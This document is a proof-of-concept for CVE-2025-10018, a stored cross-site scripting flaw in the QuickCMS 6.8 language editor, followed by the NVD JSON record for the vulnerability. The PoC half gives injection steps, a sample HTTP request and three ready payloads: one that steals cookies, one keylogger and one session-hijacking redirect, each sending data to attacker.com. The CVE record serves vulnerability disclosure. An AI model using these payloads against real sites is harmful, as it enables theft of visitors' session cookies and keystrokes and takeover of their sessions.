CVE-2025-10018

<!-- CVE-2025-10018 PoC - Stored XSS in QuickCMS Language Editor --> <!-- This PoC demonstrates the stored XSS vulnerability in QuickCMS languages editor --> <!-- Step 1: Login to QuickCMS admin panel with admin credentials --> <!-- URL: /admin.php?p=languages --> <!-- Step 2: Inject malicious JavaScript into language field --> <!-- Example payload in language editor: --> <script> // Steal session cookies fetch('https://attacker.com/steal?cookie=' + btoa(document.cookie)) </script> <!-- Alternative payload - keylogger --> <img src=x onerror='document.onkeypress=function(e){fetch("https://attacker.com/log?k="+e.key)}'> <!-- Alternative payload - session hijacking --> <script> document.location='https://attacker.com/cookie?c='+document.cookie </script> <!-- Step 3: Save the language modification --> <!-- The malicious script is now stored and will execute on all pages --> <!-- HTTP Request Example --> POST /admin.php?p=languages&action=save HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded Cookie: PHPSESSID=admin_session id=1&key=site_name&value=<script>alert('XSS')</script>&lang=en

{"cve": {"id": "CVE-2025-10018", "sourceIdentifier": "[email protected]", "published": "2025-11-14T14:15:44.380", "lastModified": "2025-11-17T19:26:29.243", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "QuickCMS is vulnerable to multiple Stored XSS in language editor functionality (languages). Malicious attacker with admin privileges can inject arbitrary HTML and JS into website, which will be rendered/executed on every page. By default admin user is not able to add JavaScript into the website.\n\nThe vendor was notified early about this vulnerability, but didn't respond with the details of vulnerability or vulnerable version range. Only version 6.8 was tested and confirmed as vulnerable, other versions were not tested and might also be vulnerable."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:opensolution:quick.cms:6.8:*:*:*:*:*:*:*", "matchCriteriaId": "D38DD588-2254-48CA-922B-A803E730F60E"}]}]}], "references": [{"url": "https://cert.pl/posts/2025/11/CVE-2025-9982", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://opensolution.org/cms-system-quick-cms.html", "source": "[email protected]", "tags": ["Product"]}]}}